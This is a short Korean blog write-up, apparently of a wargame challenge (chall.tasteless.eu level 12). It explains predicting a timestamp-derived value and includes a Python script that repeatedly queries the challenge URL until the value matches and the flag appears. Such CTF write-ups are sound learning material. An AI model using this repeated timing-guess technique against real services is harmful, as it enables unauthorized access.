인풋을 통해 생성된 값이랑 임의의 값을 비교한다. 이 때 두 값이 같아야 한다. 인풋을 통해 생성된 값은 인풋*0x1000을 통해 생성된다. 비교대상 값같은 경우 timestamp값을 통해 생성된 값이다.
이 때 timestamp의 소수점 하위 4번째까지 계산되는데 정수부분은 인풋 * 0x1000로 계산하면 결과 값이 딱 떨어졌는데 소수점 부분은 *0x1000했을때 결과 값에 오차가 있었다. 그래서 대충 최대한 오차범위 줄여서 반복요청해주니 플래그가 나왔다.
exploit.py
import time
import requests
def exploit():
url = "http://chall.tasteless.eu/level12/lucky.php"
param = {"emit":time.time()-5.071}
result = requests.get(url,params=param).text
if "flag is" in result:
print result
exit()
return result.replace("<br />VAR b is ",",").replace("<br />","").replace("VAR a is ","").split(",")
for i in range(0,1000):
result = exploit()
tmp = int("0x"+result[0],16)-int("0x"+result[1],16)
print tmp
if tmp==0:
print "find count = " + str(i)
break
'Wargame > chall.tasteless.eu' 카테고리의 다른 글
chall.tasteless.eu Level 9- In My Dreams (0) | 2019.09.02 |
---|---|
chall.tasteless.eu Level 18- Extensions? (0) | 2019.08.31 |
chall.tasteless.eu Level 20 Do you comment? (0) | 2018.10.14 |
chall.tasteless.eu Level 8 Unsolvable (0) | 2018.10.14 |
chall.tasteless.eu Level 5 Fred CMS (0) | 2018.10.14 |